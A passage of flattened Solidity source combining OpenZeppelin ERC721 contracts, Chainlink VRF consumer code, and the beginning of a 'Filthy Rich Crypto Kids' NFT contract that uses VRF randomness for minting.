event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @chainlink/contracts/src/v0.8/VRFRequestIDBase.sol
pragma solidity ^0.8.0;
contract VRFRequestIDBase {
/**
* @notice returns the seed which is actually input to the VRF coordinator
*
* @dev To prevent repetition of VRF output due to repetition of the
* @dev user-supplied seed, that seed is combined in a hash with the
* @dev user-specific nonce, and the address of the consuming contract. The
* @dev risk of repetition is mostly mitigated by inclusion of a blockhash in
* @dev the final seed, but the nonce does protect against repetition in
* @dev requests which are included in a single block.
*
* @param _userSeed VRF seed input provided by user
* @param _requester Address of the requesting contract
* @param _nonce User-specific nonce at the time of the request
*/
function makeVRFInputSeed(
bytes32 _keyHash,
uint256 _userSeed,
address _requester,
uint256 _nonce
) internal pure returns (uint256) {
return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce)));
}
/**
* @notice Returns the id for this request
* @param _keyHash The serviceAgreement ID to be used for this request
* @param _vRFInputSeed The seed to be passed directly to the VRF
* @return The id for this request
*
* @dev Note that _vRFInputSeed is not the seed passed by the consuming
* @dev contract, but the one generated by makeVRFInputSeed
*/
function makeRequestId(bytes32 _keyHash, uint256 _vRFInputSeed) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed));
}
}
// File: @chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol
pragma solidity ^0.8.0;
interface LinkTokenInterface {
function allowance(address owner, address spender) external view returns (uint256 remaining);
function approve(address spender, uint256 value) external returns (bool success);
function balanceOf(address owner) external view returns (uint256 balance);
function decimals() external view returns (uint8 decimalPlaces);
function decreaseApproval(address spender, uint256 addedValue) external returns (bool success);
function increaseApproval(address spender, uint256 subtractedValue) external;
function name() external view returns (string memory tokenName);
function symbol() external view returns (string memory tokenSymbol);
function totalSupply() external view returns (uint256 totalTokensIssued);
function transfer(address to, uint256 value) external returns (bool success);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool success);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool success);
}
// File: @chainlink/contracts/src/v0.8/VRFConsumerBase.sol
pragma solidity ^0.8.0;
/** ****************************************************************************
* @notice Interface for contracts using VRF randomness
* *****************************************************************************
* @dev PURPOSE
*
* @dev Reggie the Random Oracle (not his real job) wants to provide randomness
* @dev to Vera the verifier in such a way that Vera can be sure he's not
* @dev making his output up to suit himself. Reggie provides Vera a public key
* @dev to which he knows the secret key. Each time Vera provides a seed to
* @dev Reggie, he gives back a value which is computed completely
* @dev deterministically from the seed and the secret key.
*
* @dev Reggie provides a proof by which Vera can verify that the output was
* @dev correctly computed once Reggie tells it to her, but without that proof,
* @dev the output is indistinguishable to her from a uniform random sample
* @dev from the output space.
*
* @dev The purpose of this contract is to make it easy for unrelated contracts
* @dev to talk to Vera the verifier about the work Reggie is doing, to provide
* @dev simple access to a verifiable source of randomness.
* *****************************************************************************
* @dev USAGE
*
* @dev Calling contracts must inherit from VRFConsumerBase, and can
* @dev initialize VRFConsumerBase's attributes in their constructor as
* @dev shown:
*
* @dev contract VRFConsumer {
* @dev constructor(<other arguments>, address _vrfCoordinator, address _link)
* @dev VRFConsumerBase(_vrfCoordinator, _link) public {
* @dev <initialization with other arguments goes here>
* @dev }
* @dev }
*
* @dev The oracle will have given you an ID for the VRF keypair they have
* @dev committed to (let's call it keyHash), and have told you the minimum LINK
* @dev price for VRF service. Make sure your contract has sufficient LINK, and
* @dev call requestRandomness(keyHash, fee, seed), where seed is the input you
* @dev want to generate randomness from.
*
* @dev Once the VRFCoordinator has received and validated the oracle's response
* @dev to your request, it will call your contract's fulfillRandomness method.
*
* @dev The randomness argument to fulfillRandomness is the actual random value
* @dev generated from your seed.
*
* @dev The requestId argument is generated from the keyHash and the seed by
* @dev makeRequestId(keyHash, seed). If your contract could have concurrent
* @dev requests open, you can use the requestId to track which seed is
* @dev associated with which randomness. See VRFRequestIDBase.sol for more
* @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind,
* @dev if your contract could have multiple requests in flight simultaneously.)
*
* @dev Colliding `requestId`s are cryptographically impossible as long as seeds
* @dev differ. (Which is critical to making unpredictable randomness! See the
* @dev next section.)
*
* *****************************************************************************
* @dev SECURITY CONSIDERATIONS
*
* @dev A method with the ability to call your fulfillRandomness method directly
* @dev could spoof a VRF response with any random value, so it's critical that
* @dev it cannot be directly called by anything other than this base contract
* @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method).
*
* @dev For your users to trust that your contract's random behavior is free
* @dev from malicious interference, it's best if you can write it so that all
* @dev behaviors implied by a VRF response are executed *during* your
* @dev fulfillRandomness method. If your contract must store the response (or
* @dev anything derived from it) and use it later, you must ensure that any
* @dev user-significant behavior which depends on that stored value cannot be
* @dev manipulated by a subsequent VRF request.
*
* @dev Similarly, both miners and the VRF oracle itself have some influence
* @dev over the order in which VRF responses appear on the blockchain, so if
* @dev your contract could have multiple VRF requests in flight simultaneously,
* @dev you must ensure that the order in which the VRF responses arrive cannot
* @dev be used to manipulate your contract's user-significant behavior.
*
* @dev Since the ultimate input to the VRF is mixed with the block hash of the
* @dev block in which the request is made, user-provided seeds have no impact
* @dev on its economic security properties. They are only included for API
* @dev compatability with previous versions of this contract.
*
* @dev Since the block hash of the block which contains the requestRandomness
* @dev call is mixed into the input to the VRF *last*, a sufficiently powerful
* @dev miner could, in principle, fork the blockchain to evict the block
* @dev containing the request, forcing the request to be included in a
* @dev different block with a different hash, and therefore a different input
* @dev to the VRF. However, such an attack would incur a substantial economic
* @dev cost. This cost scales with the number of blocks the VRF oracle waits
* @dev until it calls responds to a request.
*/
abstract contract VRFConsumerBase is VRFRequestIDBase {
/**
* @notice fulfillRandomness handles the VRF response. Your contract must
* @notice implement it. See "SECURITY CONSIDERATIONS" above for important
* @notice principles to keep in mind when implementing your fulfillRandomness
* @notice method.
*
* @dev VRFConsumerBase expects its subcontracts to have a method with this
* @dev signature, and will call it once it has verified the proof
* @dev associated with the randomness. (It is triggered via a call to
* @dev rawFulfillRandomness, below.)
*
* @param requestId The Id initially returned by requestRandomness
* @param randomness the VRF output
*/
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual;
/**
* @dev In order to keep backwards compatibility we have kept the user
* seed field around. We remove the use of it because given that the blockhash
* enters later, it overrides whatever randomness the used seed provides.
* Given that it adds no security, and can easily lead to misunderstandings,
* we have removed it from usage and can now provide a simpler API.
*/
uint256 private constant USER_SEED_PLACEHOLDER = 0;
/**
* @notice requestRandomness initiates a request for VRF output given _seed
*
* @dev The fulfillRandomness method receives the output, once it's provided
* @dev by the Oracle, and verified by the vrfCoordinator.
*
* @dev The _keyHash must already be registered with the VRFCoordinator, and
* @dev the _fee must exceed the fee specified during registration of the
* @dev _keyHash.
*
* @dev The _seed parameter is vestigial, and is kept only for API
* @dev compatibility with older versions. It can't *hurt* to mix in some of
* @dev your own randomness, here, but it's not necessary because the VRF
* @dev oracle will mix the hash of the block containing your request into the
* @dev VRF seed it ultimately uses.
*
* @param _keyHash ID of public key against which randomness is generated
* @param _fee The amount of LINK to send with the request
*
* @return requestId unique ID for this request
*
* @dev The returned requestId can be used to distinguish responses to
* @dev concurrent requests. It is passed as the first argument to
* @dev fulfillRandomness.
*/
function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) {
LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER));
// This is the seed passed to VRFCoordinator. The oracle will mix this with
// the hash of the block containing this request to obtain the seed/input
// which is finally passed to the VRF cryptographic machinery.
uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]);
// nonces[_keyHash] must stay in sync with
// VRFCoordinator.nonces[_keyHash][this], which was incremented by the above
// successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest).
// This provides protection against the user repeating their input seed,
// which would result in a predictable/duplicate output, if multiple such
// requests appeared in the same block.
nonces[_keyHash] = nonces[_keyHash] + 1;
return makeRequestId(_keyHash, vRFSeed);
}
LinkTokenInterface internal immutable LINK;
address private immutable vrfCoordinator;
// Nonces for each VRF key from which randomness has been requested.
//
// Must stay in sync with VRFCoordinator[_keyHash][this]
mapping(bytes32 => uint256) /* keyHash */ /* nonce */
private nonces;
/**
* @param _vrfCoordinator address of VRFCoordinator contract
* @param _link address of LINK token contract
*
* @dev https://docs.chain.link/docs/link-token-contracts
*/
constructor(address _vrfCoordinator, address _link) {
vrfCoordinator = _vrfCoordinator;
LINK = LinkTokenInterface(_link);
}
// rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF
// proof. rawFulfillRandomness then calls fulfillRandomness, after validating
// the origin of the call
function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external {
require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill");
fulfillRandomness(requestId, randomness);
}
}
// File: FRCK.sol
//SPDX-License-Identifier: Unlicense
pragma solidity 0.8.12;
interface IFRCKVaulables {
function getState(uint tokenId) external view returns(string[] memory traits, uint[] memory types);
}
/**
@title Filthy Rich Crypto Kids NFT Smart Contract
@dev This contract is the NFT contract, mainting all ownership of FRCK tokens
*/
contract FilthyRichCryptoKids is ERC721Enumerable, Ownable, VRFConsumerBase{
using SafeMath for uint256;
/**
* Variables used for Chainlink VRF RNG
*/
uint256 internal link_fee = 2 * 10 ** 18 wei; // 2 LINK (Mainnet)
address internal _link = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
address internal _vrfCoordinator = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952;
bytes32 internal keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445;
uint maxSupply;
uint maxVipSupply;
// Index for regular mints
uint minted;
// Index fo VIP mints
uint public vipMinted = 0;
string private _customBaseURI = "";
mapping(address => bool) public isSaleContract;
address public valuablesContract;
uint public randomness;
bool public randomnessRequested = false;
bool public tradingEnabled = false;
constructor(string memory name, string memory symbol, uint256 maxVipSupply_, uint256 maxSupply_)
ERC721(name, symbol)
VRFConsumerBase(_vrfCoordinator, _link) {
maxVipSupply = maxVipSupply_;
maxSupply = maxSupply_;
minted = maxVipSupply;
}
modifier onlySeller () {
require(isSaleContract[address(msg.sender)], "FRCK: Caller is not a seller");
_;
}
/**
@notice Uses Link fund stored in this contract to request randomness from Chainlink VRF
@dev This is only called by the owner wallet, and can only be called once
*/
